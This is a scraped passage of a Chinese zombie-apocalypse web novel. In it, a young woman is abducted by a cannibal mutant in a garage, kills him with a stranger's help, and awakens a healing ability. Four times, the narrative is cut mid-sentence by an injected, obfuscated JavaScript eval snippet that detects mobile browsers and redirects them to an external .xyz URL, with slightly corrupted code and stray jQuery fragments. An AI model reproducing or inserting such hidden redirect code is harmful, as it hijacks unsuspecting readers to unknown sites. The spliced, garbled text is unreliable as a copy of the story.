;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957419|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐将她包围,隐隐约约的,池遥似乎再次置身于刚刚的商场内部,属于丧尸的腐臭味比刚才更加猛烈地朝她扑了过来,身体比大脑预先感知到了危险的临近,却因为过于疲惫和恐惧而冻结在原地,无法动弹。 池遥后知后觉地想到了一件事。 在他们刚刚进入商场时,原本四人小队却转瞬间剩下了她和曲卓两个人,她们本能的认为消失的两个人是在进入商场后才失踪的。 但如果,他们是在进门前失踪的呢? 但这样的话,在她们两个人进入商场后,是谁关上了商场大门呢? 思绪拨云见雾,在一片未知中逐渐还原出了难以置信的答案。 浓重的腐臭味直冲鼻腔,突然间,一只血肉模糊的手,从背后紧紧捂住了她的嘴,对方身上的臭味让池遥胃里一阵翻腾,几乎要作呕出声,又因为捂在脸上的手而硬生生忍了回去。 是丧尸吗? 对方身上的味道无疑是一只丧尸,可他行动却颇有条理,并且没有发出恶心的吼声,也没有第一时间下口咬人。 不仅如此,这商场所在的路段是黑哥小队的巡逻区域,按理来说很难出现丧尸。 “没想到,一时兴起出门捕猎,居然还有意外之喜。” 嘶哑的声音从耳畔响起,对方的声音偏低,语速迟缓,说话的咬字和音律都有些怪异,与正常人类明显不同。 池遥突然想起了温俭之前说过的话。 “那的确不是丧尸,也不是天赋者,是强行觉醒能力的普通人变成的怪物,黑哥管这种东西叫行尸。” “行尸看起来和丧尸一样,但是保留了自我意识。但除了有自我意识之外,其他各方面和丧尸没有区别,也一样会吃人。” 拥有自我意识的行尸?由强行觉醒能力的普通人变成的行尸? 池遥看不清身后的家伙的样貌,可仅凭那只捂在她脸上,从她眼前一闪而过的手,那只手鲜血淋漓,却不像是受伤所致,更像是人变成丧尸时身体自然腐烂坏死形成的,少有的皮肉完整的部分,皮肤呈现出一种僵硬的惨白色,格外可怖,与丧尸没有任何区别。 这就是行尸吗? 由普通人变成的,行尸? 池遥再度回想起温俭曾经阐述过的,残酷的事实。 普通人无法变成天赋者,执着于变强的普通人,最终会不可避免走向成为行尸的结局。 她未来也有可能变成这副模样吗? 这副浑身散发腐烂的臭味,皮肉萎缩坏死,与丧尸无异的模样吗? 思维在此刻猛地断线,身后的怪物扬起拳头在她的后脑一敲,池遥顿时失去了意识。 不久后,浑身满是丧尸血迹的曲卓拖着疲惫的身体走出商场,却没有发现池遥的踪迹。 除了地面上遗留着池遥从大门口的平台上走出的些许印记,四周没有任何有人存在过的痕迹,池遥仿佛突然间凭空消失了。 “池遥?” 8. 旧车库1 阴冷的空气让每一口呼吸都仿佛吞着冰块,彻骨的冷意将池遥从沉眠中唤醒。 被重击过的后脑传来一阵剧痛。 入目是一片广阔的天花板,数量众多的管道纵横交错,隐约能看到脚下的地面上用白漆涂画出的箭头痕迹,白漆将地面规划成十几个长方形的地块,地块之间留出一条通道,有清晰的箭头指引,池遥立刻就分辨出了这是什么地方。 这里是一处经过改装后只能容纳十几辆车的车库,此时清空了所有车辆后空间变得十分广阔,只有一辆面包车孤零零地停在她身侧,车库内仅有的光源来自于面包车的车灯。这辆车让池遥分辨不出自己所在的大概位置,她不知道自己是不是被这辆车载回来的,如果真是这样,她甚至不能确定自己此时是否身处北城。 在她正前方不远处,有一个怪异的身影背对着她歪歪扭扭地坐在地面上。池遥只能看到他稀疏的头发,头发大片脱落的地方露出的头皮也干裂开来,露出一片深红的内里。他身形偏高,身穿一件深色的工作服,已经被血液浸透,看不出原本的颜色了。 那就是把她抓到这里的行尸吗? 池遥蹙眉思索着,她此时仍旧动弹不得,整个人被绑在一把木质椅子上,双手越过椅背被反剪到背后,隔着一层木制的椅背紧贴着后背,双手的手腕被绳索绑得死死的,双腿双脚也被绑在一起,无法动作。 周围弥漫着浓烈的血腥味,身侧不远处的地上堆叠着什么东西,可惜以池遥的视力无法看清,又是背光,只能看到模糊的一团,血腥味应该就是从那里散发出的。 被束缚在背后的双手试探着摸索周围,她手腕上的智能手表不见了,空荡荡的手腕稍微一动弹就被绳索磨得生疼,手臂活动时不免挤压到椅背,陈旧的椅子顿时发出了微弱的嘎吱声,在一片死寂中极为明显。 听到这里的声音,不远处的人影缓缓站起来,转身朝着池遥的方向走来。 稀疏的头发与皲裂的皮肤之下,是一张血肉模糊,极为狰狞的脸。因为暴突充血的眼球与撕裂到耳根,血肉模糊的嘴与合拢不上的嘴唇中露出的尖牙,已经无法辨认它还是人类时的模样。 而那双因血丝过多看起来呈现血红色的眼球,正直勾勾地盯着她瞧。 目光中的垂涎几乎要将她整个人生吞活剥,如同一条无形的舌头,直白地舔舐过全身,一时间,池遥的大脑一片空白。 他一走近,周围原本就明显的血腥气更浓烈了几分,还夹杂着他身上属于丧尸的腐肉味,池遥的胃里陡然翻涌起来,从胃里涌上来的恶心感唤回了她的意识,她本能地低下头,一边平复身体的不适,一边躲避对方的目光。 在这样的气氛下,她一句话都说不出来。 因为低着头,池遥看不到他的脸,只能看到他的脖子以下部位,她能看到行尸领口处隐约露出一个锈迹斑斑的吊坠形状。再向下看去,她看到了对方工作服胸口处别着金属质地的名牌,前面的字已经被血迹模糊得看不清了,只剩下最后的一个字“元”隐约可见。 或许阿元就是他还是人类时经常被人提起的称呼吧。 “你...” 不知为何,当他开口时,池遥隐约觉得,他的吐字要比上一次听到他说话时更加黏连不清了,透着隐约的生疏感,听感十分诡异。 她稍微抬起头,目光定格在行尸阿元开裂的嘴角上,或许行尸的变异虽然保留了自我意识,但身体的变化也影响到了他们的其他神经。 “你真幸运。”行尸阿元缓慢地吐出简单的字句,“我今天已经吃饱了,你还能再活一天。” 这算是幸运吗? 让她在必死的绝望中再挣扎一天? 池遥一时竟然不知该说什么,她刚张开嘴,就听到阿元补充了一句话。 “不许发出任何声音,否则我会拔掉你的舌头。” 她立即闭上嘴。 或许是她表现得过于配合,行尸阿元的目光直直地盯着她看了一会儿,池遥再度感受到了那种仿佛猎手盯着猎物的杀意,身体再度僵硬起来。 幸好没过一会儿,他就转过身,回到了他刚刚坐着的地方,池遥这才发现,在他原本坐着的位置前,倒着一团鲜血淋漓的东西。 她看不清,但隐隐能够猜出那是什么。 然而,紧接着,她却看到了惊人的一幕。 阿元走到地上的东西旁,弯腰揪着一角将那个东西拎到半空,赫然是一具残缺不全的尸体。 发自本能的尖叫被池遥咬牙咽了下去,她惊恐地看着阿元一把拎起那具尸体,弯腰时,藏在他领口内的吊坠滑了出来,吊坠一角擦过尸体表面,下一秒,整具尸体在半空中离奇消失了。 池遥惊讶得瞪大了眼。 然而,很快她就反应过来,在温俭之前的描述中,提到过行尸是普通人类强行觉醒能力后变成的怪物,也就是说,即便是行尸,也拥有特别的能力。 也许她刚刚看到的就是面前行尸阿元的能力也说不定。 那么,难道阿元拥有的是和收纳有关的能力? 行尸阿元在那之后就一直在不远处做自己的事,留池遥一个人孤零零的被绑在椅子上动弹不得,池遥试着挣扎过几次,然而绳索绑的太紧,不仅如此,她挣扎时一旦动作过大,椅子就会发出难听的声响,引来不远处的行尸的注意。 池遥不知道自己所在的车库处于什么位置,但依照她的理解,这里大概率位于地下,不然空气不会如此阴冷封闭。 然而,在丧尸肆虐的末日,地下和高层全部成了人类敬而远之的危险地点,地下空间没有光源,进出不便,轻易无人涉足,不会有人为了救她故意涉险前往危险的地下车库,除了曲卓。 如果真的有为了救她找到这里的人,恐怕就只有曲卓了吧。 可池遥也知道曲卓的实力,曲卓的能力无法攻击,她的真实实力与正常人无异,就算曲卓真的出现在这间车库,也未必救得了她,反而会把自己搭进去。 所以,她由衷地祈祷曲卓不要来到这里救她。 比起被救的可能性,池遥反而更恐惧曲卓被自己拖累。 身体因为长期保持一个姿势已经近乎麻木,感知力也变得迟钝。四肢被绳索绑住的部位一跳一跳地传来难耐的胀痛,虽然已经过去了很久,但后脑的疼痛仍然没有任何消退的迹象,如同钝刀子一般磨着她的神经。 她该如何脱身? 难道只能坐在这里等死吗? 安静的地下车库让人失去了感知时间的能力,在身体彻底麻木的时间里,池遥一度放弃思考,大脑一片空白,目光呆滞地定格在阿元身上,一动不动。 看得久了,她发现了些许端倪。 在醒来后打量车库四周时,池遥就发现周围的物品少得可怜,没有任何久居的痕迹,除却身侧的面包车,就是地上的各种垃圾。不远处的阿元连进食也是直接席地而坐的。 然而,在盯着阿元看的时间里,池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957420|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥发现他数次抬手抚摸领口的吊坠,每次当他的手从吊坠中移开时,他的手中就会凭空多出些东西。 而当阿元握着物品的手触碰到吊坠时,手中的物品也会不翼而飞。 所以,这究竟是他觉醒的能力, ——还是他脖颈上项链的特殊作用? 但是,如果按照之前的推测,行尸和天赋者类似,同样具备特殊能力的话,如果收纳只是项链的作用,那么阿元的能力究竟是什么? 动弹不得的时间里,池遥在脑海中尽可能将遇到阿元后的记忆反复梳理了几遍。 在亲眼看到阿元之前,池遥最先感知到的是气味,也是通过气味预判到危险的,末日后的经历让池遥的大脑本能将血腥味与丧尸联系在一起。然而,还没见到阿元本人,她就因为过度疲惫与恐惧而定在原地,无法动弹了。 在车库中,池遥十分恐惧将她抓到此处的丧尸阿元,恐惧到几次与他对上视线后都无法思考,不敢动弹,甚至会出现生理不适的反应。 虽然她自知软弱,一直以来都躲在曲卓身后,又菜又怂,但也协助曲卓杀过不少丧尸,应该不至于被吓到这个地步吧? 在醒来不知过了几个小时后,池遥慢慢从无边际的恐惧与绝望中挣脱出来。 远处的阿元再次从吊坠中凭空变出残缺的人类尸体,背对着池遥,弯着身子啃食起来,整个车库充满了渗人的啃食声。 在那具尸体凭空出现时,池遥终于辨认出来,那是和她同在温俭曲卓小队里的普通人同伴的尸体。 因为池遥一直以来只待在曲卓身边,和队伍里另外两个普通人没有任何交集,一同外出巡视了将近十次,也不知道他们的名字。 池遥听过那两个人的闲聊对话,只记得两个人中年纪稍大的人末日前是临时来工程大学出差的,本来居住在邻省,家庭美满,还有一个七岁的女儿。 被阿元啃食到一半收纳起来的,正是这位中年男人的尸体。 饶是没有直接看到行尸啃食人类的模样,只听着咔嚓咔嚓的牙齿摩擦声,就足够让人胆寒,一瞬间,池遥再度感觉到了熟悉的僵涩。 随着心中的恐惧一起涌来的,是四肢连同身体仿佛被冰冻起来一般的僵硬感。 呼吸跟随剧烈跳动的心脏一起变得紊乱,过度恐惧产生的副作用立刻作用在身体上,池遥再度感觉到强烈的窒息感。 仿佛无形中有一双大手,死死地扼住了她的喉咙。 不对。 池遥拼命呼吸,让自己冷静下来,看到这样的画面她的确害怕得不行,但一定没有到如此强烈的程度。 她攥紧了拳头,微长的指甲狠狠嵌进掌心,微弱的痛感让她稍微转移了一点注意力。 直到呼吸恢复正常,池遥才后知后觉地发现,刚刚那种害怕到动弹不得的状态已经褪去了,她再度找回了身体的控制权。 或许是沉浸于进食当中,阿元并没有发现池遥的异常,又或者他根本不在意,仍旧保持着刚才的姿势。 池遥再次环顾四周。 她想要再次仔细观察身侧散发着血腥味的东西是什么,然而,当她吃力地扭过头看向侧后方时,却看到了一个人影,藏在面包车一侧的死角后面,正好是阿元无法看到的位置,正鬼鬼祟祟地朝着她的方向缓慢移动,与她对上视线时惊讶地瞪大了眼,下一秒拼命摆出噤声的手势举在嘴唇边,急切地晃动手指。 是一个看起来和她年纪相仿的陌生少年。 9. 旧车库2 二人面面相觑。 少年的神情远比池遥紧张得多,呆愣在原地,看向池遥的目光惊愕远大于其他情绪,紧张地盯着她的嘴唇。 与池遥对视的少年身形不高,整个人十分瘦小,穿一身黑色运动套装,一旦隐在黑暗中是极容易被忽略的存在。池遥不知这个人为何会出现在这里,然而比起喜悦更先一步感知到的情绪是担忧,面前的人眼睛里透露着大学生清澈的愚蠢,看上去就不是个聪明家伙。如此瘦弱的少年,根本就没办法与行尸抗衡。 阿元丝毫没有发现这里的不对,池遥扭头看了一眼不远处背对着他们的行尸,才再度扭过头,看向少年。 四周一片寂静,少年张开口,无声地冲她说了一句话,语速放得很慢,刻意夸张化口型,一句话反复问了三次,池遥还是没看懂。 最后,少年环顾一周,举起一根手指在空中晃了两下,又指了指池遥的方向。 池遥终于明白了,对方想确定整个车库是否只剩下她一个人类。 她朝着少年点头。 顿时,少年的眼睛黯淡了下去,他要救的人恐怕已经丧命了。 没消沉几秒,他就从口袋里掏出一把巴掌大的壁纸刀,是池遥宿舍常备拆快递的款式,举起手腕,将小壁纸刀在手腕处比划了几下。 池遥立刻理解了他的意思。 接着,少年又从腰间抽出一把厨房常见的长菜刀,用刀尖指向阿元的方向,又用另一只手指指池遥,又指向了面包车后侧的墙壁,池遥猜想那里就是车库的出口。他想偷袭杀掉行尸,让池遥趁机自己先逃出去。 池遥拼命冲少年摇头。 她不知道面前的人对行尸了解多少,但看他的模样,恐怕并不知道行尸也觉醒了能力的事实,阿元恐怕并没有他想象得那么好对付。 然而,池遥的双手被牢牢绑着,又不能贸然开口,只能用口型试图告诉少年。 “他有能力!” 简简单单四个字被池遥重复了四五遍,然而少年同样看不懂池遥的口型,不仅如此,在池遥第四次重复时,他已经走到了池遥身后,开始用小壁纸刀割绑着池遥双手的绳子。 为了防止椅子发出噪音,池遥的手努力撑着椅背防止震动,眼睛眨也不眨地盯着阿元的背影,生怕他忽然回头。 小壁纸刀效率不高,绳子只断了一小半,但有了缺口的绳子微微松弛,不再紧紧缚着手腕,可以稍微活动一下手腕了。 与此同时,阿元身子一动,他似乎结束了进食,缓缓站起了身。 少年反应极快,将小壁纸刀往池遥手里一塞,飞速后撤,躲回了面包车后。 池遥将小壁纸刀攥在手里,垂着脑袋,一边用余光暗暗打量着不远处再次侧对着她的阿元,双手小心地合拢,让绳子滑落到手指可以接触到的地方,用小壁纸刀无声地割绳子。 很快,束缚双手的绳子就能彻底割开了,至少她的双臂就能正常活动了。 然而,当阿元收起地上的尸体——此时已经无法称之为尸体了,刚刚还残缺不全的尸体,现在只剩下了一个头颅,头颅在他手中消失后,却朝着池遥的方向走了过来。 在阿元收起尸体时,池遥偏头看向了面包车的方向,想让少年也注意到这一幕,最好让他放弃硬碰硬的想法。 然而少年躲得十分隐蔽,不仅躲进了池遥对面的阿元的视野死角,连池遥也没看到他的身影。更何况隔着一辆面包车,恐怕少年完全看不到阿元的身影。 当池遥再次看向阿元时,才发现阿元正朝着自己走来。 或许是完全不担心池遥有逃走的可能性,阿元的步伐并不快,池遥连忙调整手里的动作,将壁纸刀紧紧攥在手心里。 “下一个,就要吃你了。” 这一次,阿元说话的语速更为缓慢,如同机械声一般,是一个字一个字生涩的说出来的,发声时喉咙中传出明显的咕噜声,竟然与丧尸的吼声有些许相似。 或许是吃饱了,他杀池遥的动作不快,反而像是猛兽玩弄猎物一般伸出手来,想要掐住池遥的脖子。 然而,这只手却只是隔空放在了她脖子前的位置,紧接着缓缓上移,最后,尖利的指甲对准了池遥惊恐地睁大的眼睛! “嘭!” 突然之间,从面包车后冲出了一个瘦小的身影,猛地撞在阿元身上,阻止了他的动作。 是刚才的少年。 池遥帮不上忙,她拼命挣了几下,明明绳索已经被割开了一半,但仍旧无法用力挣脱,池遥只能拼命划动手中的壁纸刀,目光死死盯着在不远处缠斗起来的两人。 就在刚才,或许是因为阿元没有防备,被少年撞得猛然后退几步才稳住身体。 然而,当少年与他拉开距离后,阿元的目光却在周围茫然地环视几圈,仿佛根本看不见他正对面的人一般。 趁着这个机会,少年举起菜刀,一鼓作气再度朝着阿元冲去! 但是,当少年靠近阿元时,阿元的目光却突然锁在了他身上,侧身躲过少年的攻击,同时打掉了少年手里的菜刀。 少年的神色立即变得慌乱起来,急忙弯腰试图捡起菜刀,但他一俯身,反而被阿元扳过肩膀,仰面按倒在地。同时,为了防止少年捡到地上的菜刀,阿元朝着地上的菜刀猛踢一脚,将菜刀踢到了远处。 正朝着池遥的方向! 阿元双手按着少年的肩膀,与他四目相对。 这一次,从旁观者视角,池遥第一次完全看清了全部过程。 在二人眼神对视的瞬间,少年猛地瞪大眼,眼中流露出浓重的绝望和恐惧,与此同时,他试图起身挣扎的动作也变得越来越慢,最后就如同见到了猫的老鼠一般,僵硬地定格在原地。 “啪嗒!” 不远处的二人并没有听到微弱的声响,束缚池遥双手的绳索终于落地,她挣扎着弯下腰,刚好能够到绑着脚踝的绳索。 按照少年的意思,池遥只需要割开绳子自己逃离车库即可,与阿元硬碰硬是他的选择。 指尖摸索过脚腕的绳索,艰难地探到了脚边的地面。 终于,池遥摸到了地上的菜刀,刀柄还残留着少年握过的温度。 四目相对时,阿元敏锐的察觉到了对面的少年眼中的恐慌。 是的,恐慌。 即便阿元不知道少年是何时溜进这间车库的,但这并不要紧,少年此时在他手下挣扎的样子如同死到临头的老鼠,唧唧地叫着试图逃脱,却始终逃离不了落入猫腹的命运。 根本无力回天。 仿佛早就看到了结果一般,阿元眼中带着气定神闲的笑意,收回投放在被他绑在一旁的女孩身上的能力,朝着少年发动了能力。 即便没有受到上天眷顾,但他仍然凭借自己的努力觉醒成为了行尸,虽然变成了和丧尸无异的模样,许多受制于人类的部分,例如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957421|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道德,语言,思维也逐渐随着吃掉的血肉一同消散,但阿元仍旧自负于自己独一无二的能力。 一旦察觉到了人类的负面情绪,他就能将这种负面情绪无限放大,到最后,人类会受情绪的影响身体僵硬,不能动弹,最极端的甚至会窒息而死。 而阿元甚至无需露面,只需要在一旁欣赏人类临死前的模样即可得到一顿丰盛美餐。 然而,面前的少年像个偷溜进别人米缸的老鼠,实在令人厌恶,只用能力让他死掉实在有些不尽兴。 他改变主意了。 被绑在一旁的女孩安安静静一动不动,就算再活一天也无力回天,反而是这个少年更加可恨。 他迫不及待地想要将少年吞吃入腹了。 阿元松开手,此时少年早已无法支配身体,即便他松手也没有逃跑的可能性,抬手,朝着少年的胸口掏去。 他想看到少年被他的手洞穿胸口,痛不欲生的模样。 然而,就在他出手的瞬间—— 少年不知看到了什么,陡然恢复了神志,身体本能朝上一躲! “啊啊啊啊啊啊啊啊!” 阿元的手偏了几分,捅进了少年的腹部。 整个车库几乎都被少年的惨叫声震得抖了几抖。 虽然略有偏差,但得到的结果依旧令阿元满意,只不过,他之前施加能力的对象从未有过中途找回意识的先例,这个少年究竟看到了什么? 阿元迟钝的思维试图转动,然而,他还没有想明白原因,就感受到背后传来极强的撞击,冰冷的金属从后背刺入,穿过他的心脏,穿胸而过! 他再也想不到问题的答案了。 即便仍旧被绑在椅子上,但只要双手能动,能握住菜刀,池遥就有了信心。 在亲眼看着阿元对少年施加能力时,她只觉得浑身一轻,先前笼罩在心头的阴影全部消失了,连身上的麻木感和疲劳感都消散了小半。 她意识到,阿元的能力作用消失了。 此时,阿元已经朝着少年伸出了手,而池遥一鼓作气,弓着腰,将椅子背在背上俯身站了起来,双手握紧菜刀,小碎步朝着阿元的方向冲去! 在阿元的手捅穿少年的肚子时,池遥也带着椅子的重量与剧烈行动的惯性,扑撞在阿元的背上,双手紧握着菜刀,从后捅进了他的心脏! 然而,池遥的身体还被绑在椅子上,扑在阿元身上时根本控制不了自己的动作,又害怕一击不中,几乎是用了全身的重量砸在阿元背上,这一下,直接倒在阿元的尸体上无法起身,少年被压在阿元身下,生死未卜。 池遥用了全身的力气,才勉强将菜刀从阿元背上拔了出来,三下五除二割断身上和脚踝的绳子,站起身来,才注意到眼前的情况。 人类在变成丧尸之后,身体会逐渐变得干瘪,血液颜色变深,直至变成黑色。变成丧尸越久,身体越干瘪,体内水分越少。 然而,行尸却不是这样的。 从阿元的尸体中喷溅而出的血液是鲜红色的,与人类无异。 在之前的经验中,攻击丧尸的尸体不会对丧尸产生影响,只有砍掉丧尸的头颅或者搅碎脑子才能彻底杀死丧尸,然而,行尸与人类一样,只要捅穿心脏就会死亡。 直到此时,池遥才意识到,无论阿元的外形有多像丧尸,他的习性与丧尸一样,但本质上,他仍旧属于人类。 她亲手,杀死了人。 10. 觉醒 说来奇怪得很,在进入末日之后,池遥一直活在曲卓的过度保护之下。 在池遥眼里,曲卓独立强大,尽管能力不强,但却拥有强大的意志与信念,她总能比池遥更快的动手杀死丧尸,池遥只能从旁辅助曲卓,正因如此,池遥从未亲自动手杀过丧尸。 而现在,第一个被她亲手杀死的却是一只行尸,或者说,一个人。 一个变异成近似丧尸的怪物,但仍旧是人类的人。 然而,池遥仍旧不能停下动作,她吃力地将阿元的尸体从少年身上拖下来,害怕自己刚才的攻击不够彻底,举起菜刀,利用惯性砍断了阿元的脖子。 这一次,她再次感受到了菜刀砍断人类骨骼的感觉。 丧尸身体干瘪,骨质钙化,虽然池遥没有亲手切断过丧尸的脖子,但看曲卓和温俭的动作都十分轻松。 但是这一次,池遥利用惯性只砍断了一半骨骼,她只能硬着头皮用力将菜刀往下推,手抵着刀背能清晰感受到刀锋一点点深入骨头的感觉,令人头皮发麻。 砍下了阿元的头颅,确保他彻底死去,池遥才开始检查少年的情况。 “你还好吗?” 少年的情况很不好。 池遥刚才扑向阿元的阵势再度给少年带来一记重创,他的腹部裂开了一个大口子,血液喷涌的速度完全没有随着时间的流逝而减缓。 不仅如此,此时的少年已经双眼紧闭,脸色惨白,看上去与尸体无异。 “还活着吗?” 颤抖的声音带着哽咽,颤巍巍地在车库内响起。 “你别死呀!” “......” “......你不要死......” 浓重的酸涩感从喉头蔓延至鼻腔,池遥猛地吸了吸鼻子,她不知道自己此时能为少年做些什么,甚至不敢抬手去测少年的鼻息,生怕此时面前的人已经变成一具尸体。 如此严重的伤情,恐怕要先止血才行,手边没有任何物品派得上用场,她只能用双手死死按着他的伤口,祈祷能产生作用。 如果她割绳子的动作再快一点...... 如果她再早一点捡起那把菜刀...... 如果她能在阿元对少年动手前就杀掉他...... 如果她最终没有莽撞地压在阿元身上...... 但凡她在某个环节稍微努力一点,就不会造成少年的死亡。 即便知道不可以,池遥还是忍不住小声啜泣起来。 为什么,自己又拖累了无辜的陌生人呢? 为什么自己不能成为有能力保护他人的那个人呢? 脑中诸多思绪乱成一团,池遥死死按着少年的伤口,回忆起来自己曾经与曲卓的谈话。 ——“我也可以杀丧尸,我保护你。” ——“但我是天赋者,我能力更强,我保护你才对。” 如果能力更强的人就能保护同伴的话。 如果能力更强的人就能把想守护的人护在背后的话。 “我会变强的......” 她低下了头,不敢靠在少年身上,鼻尖贴着自己满是鲜血的手上,泪珠一滴一滴地滚落下来。 “我真的会......” 哭腔越来越微弱。 不想再被人护在背后。 不想再看到有人为自己而死。 无论付出什么代价,都想要变得更强。 末日来临前的一个月,曲卓养成了每天五点起床出门跑步的习惯。 曲卓独自一个人守着她身上的异变,拼命锻炼以变强守护朋友。 她也要像曲卓那样。 付出汗水也好,鲜血也好,痛苦也好,无论怎样,都要成长到强大到足以守护朋友的存在。 越想到这些,池遥越止不住自己的眼泪。 为什么自己没有早点察觉呢? 只活在曲卓的庇护下是不行的,自己强大起来才能真正守住想守护的人。 无论付出什么代价吗? 忽然涌上心头的问题在耳畔震声响起,一瞬间,池遥分不清这是真实传来的声音还是过于痛苦产生的幻听。 “无论付出什么代价。” 哽咽的声音微弱地传出喉咙。 “无论付出什么代价!” 隔了几秒,更为坚定的话音响彻整个车库。 她仍旧无法止住眼泪,豆大的泪珠一颗接着一颗,滚落到少年的伤处,逐渐与鲜血混在一起。 忽然之间,按着少年伤口处的双手掌心传来火烧火燎的剧痛,喷涌不止的鲜血仿佛变成了燃烧的火焰,拼命烧灼着池遥的双手。 池遥不敢放开手。 突如其来的异变没有让她慌神,反而让她意识到了此时发生了什么。 手掌逐渐被无形的火焰吞没,下一秒,滚烫的热度自掌心猛地涌入体内,顺着手臂蔓延至全身,身体的每一处骨骼,每一寸筋脉,每一片肌肤都仿佛被火焰不停燎烤,直到彻底在火焰中心熔化成一堆灰烬。 这就是,觉醒能力吗? 池遥咬紧了嘴唇,死死克制自己不发出任何声音,嘴唇被咬得鲜血淋漓,但远远比不上周身燃烧的剧痛。 温俭说过,没有被选中的普通人,如果想要强行突破自己变成能力者,会变成行尸。 活生生的例子就在她身边,被她亲手杀死的阿元就是由人类变成的怪物。 为了获得能力抛弃一切,认知,道德,语言,思想,自我意识,最后成为一具行走的空壳。 会掉光头发,肌肤皲裂,身体变异,变成恶心丑陋的模样。 她会变成这个样子吗? 长时间的剧烈痛苦让感知逐渐变得麻木,有几次池遥甚至产生了击晕自己的想法,但硬生生咬牙忍了过去。 池遥扭过头,阿元的尸体就在身边,头颅滚落到稍远的地方,但仍旧能看到他身上已经变成了恶心的惨白色,露在外面的部分长出了尸斑。 “我不会变成这个样子。” 仿佛要激励自己一般,池遥咬着牙,忍住了喉咙中的闷哼,硬是说出了这句话。 外表变成什么模样都无所谓,但她有理智,有死死坚守的决心,绝对不会有意识泯灭,道德败坏的可能性。 话音一落,浑身的火焰突然再次猛烈地燃烧起来,比刚才更加尖锐的痛苦再度遍布全身,仿佛浑身的血液变成了岩浆,在身体中沸腾。 只是,这一次,流淌至全身的火焰却再次开始流动,慢慢撤出身体,冲破掌心,灌入少年的身体。 当所有的热度完全消散之时,池遥终于坚持不住,身体一软,倒在了少年身上。 然而,当她的手撑住少年的身体时才发现,洞穿他整个腹部的大洞不见了。 此时,除却浸满鲜血的衣物,他浑身上下的伤口全部愈合了。 池遥的手探向少年胸膛时,感受到了有力的心跳,正在胸腔内欢悦地跳动。 “扑通!” “扑通!” 是她此生听过最悦耳的声响。 她的手掌没有丝毫变化,没有长出尖利的指甲,皮肤也没有任何异常。 站起身时,只觉得浑身上下从未有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957422|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的轻盈,四肢连同身体都带着蓬勃的力量。 再度环顾四周时,池遥惊讶地发现,以往看过去觉得模糊的物体,现在全部变得一清二楚,不仅如此,一直以来都给她阴暗印象的车库,一眼望去却能在黑暗中清晰看到各种陈设。 怀着不可置信的心情,池遥伸手抚上了自己的脸。 皮肤没有裂口,头发并不稀疏,她与被抓到车库里之前没有任何变化。 不仅如此,她的各项体质似乎提升了一大截,无论是速度,力量,视力还是灵活程度都有了一定程度的上升。 难不成,她没有变成行尸? 但是,她仍旧觉醒了能力,这种能力让少年恢复如初。 那现在的她究竟是什么? 身后传来了微弱的声响,池遥猛地转过身,将身后缓缓坐起来的少年正惊讶地看着她。 “你醒啦......不对,你活啦!” 池遥没想到少年会这么快苏醒,忍不住兴奋地跑到他面前。 “你现在状态怎么样?感觉有哪里奇怪吗?” “奇怪倒没有.....”少年慢慢站起身,他的动作不快,但能看出并没有任何伤势,“不过,我刚刚并没有死,虽然我看起来可能有些可怕,但我能听得到你哭着叫我的声音,就是睁不开眼,也没办法回应你而已。所以,你的能力应该是......” 说到这里,他适时住嘴。 “是治疗系能力。”池遥接上他未尽的话。 池遥的手偏小,五指纤细秀气,此时张开掌心时,能隐约感觉到温暖的热意在手掌之下流动。 掌心合拢,池遥试着对自己施加能力,然而却没有任何作用,掌心之下的热流仿佛被隔绝在皮肤之下,无法涌出。 于是,池遥抓过少年的手,试探着输入了一小股热流,这一次,她的尝试成功了。 与此同时,脑海当中突然出现了一行大字。 【加速治愈:能够加快伤口自动愈合的速度,但要消耗自身的生机。注:无法治愈自己。】 这时,池遥才感觉到,在觉醒能力后,自己的脑海也发生了一些小小的变化,如同正常运行的电脑突然弹出一个全新的空白页面一样,而这一行字就是空白页面上显示的内容。 看来,要自己先尝试成功使用一次能力后,才会在脑海中出现具体的能力介绍。 “有什么感觉吗?”池遥好奇地看向身旁的少年。 